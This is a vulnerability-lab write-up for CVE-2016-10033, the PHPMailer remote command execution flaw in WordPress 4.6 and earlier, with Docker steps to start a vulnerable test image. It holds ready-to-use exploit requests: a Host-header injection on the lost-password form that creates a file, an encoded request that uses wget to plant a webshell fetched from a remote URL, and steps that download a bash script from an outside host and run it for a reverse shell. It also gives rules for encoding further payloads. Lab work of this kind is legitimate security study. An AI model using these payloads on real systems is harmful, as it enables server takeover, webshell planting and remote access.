WP-CVE-2016-10033

WordPress <= 4.6 Remote Command Execution Vulnerability (PHPMailer) (CVE-2016-10033)

Vulnerability Information

WordPress is a blogging platform developed using the PHP language. Users can set up their own websites on servers supporting PHP and MySQL databases. It can also be used as a Content Management System (CMS). WordPress uses the PHPMailer component to send emails to users. PHPMailer (versions < 5.2.18) has a remote command execution vulnerability. An attacker only needs to craft a malicious email address to write arbitrary files, resulting in remote command execution.

Affected Versions

WordPress <= 4.6

Image Information

Getting the Environment:

1. Pull the image to local

$ docker pull medicean/vulapps:w_wordpress_6

2. Start the environment

$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6

The 8000 before the colon represents the host machine's port; it can be set arbitrarily.

Visit http://127.0.0.1:8000 and see the WordPress main interface to indicate a successful start

POC

Assuming the target address is: http://127.0.0.1:8000/

1. Copy the following HTTP request into BurpSuite Repeater, click the Go button, and fill in the target IP and port (e.g., IP: 127.0.0.1, port: 80)

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

2. Visit: http://127.0.0.1:8000/vuln

If the response status code is 200, it means the /var/www/html/vuln file has been successfully created

You can visit the address before sending the request; it will return a 404.

Exp

Idea: Create a text file on a remote HTTP server and download it to the target machine via wget.

Write WebShell to Target (Strongly Not Recommended)

If you can execute commands, why bother uploading a WebShell?

1. Execute the following command:

/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php

Note:

1. The remote URL must not contain http://
2. All letters must be lowercase
3. Replace all / with ${substr{0}{1}{$spool_directory}}
4. Replace all spaces with ${substr{10}{1}{$tod_log}}

The request is as follows (replace user_login as needed, default is admin):

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

2. Visit http://127.0.0.1:8000/webshell.php

Reverse Shell (Recommended)

If the remote text file contains a bash script, after downloading it to the target, you can directly execute it with /bin/bash.

1. Download the bash script to the target

/usr/bin/wget --output-document /tmp/rce example.com/1.txt

2. Execute

/bin/bash /tmp/rce

Related Links

• WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit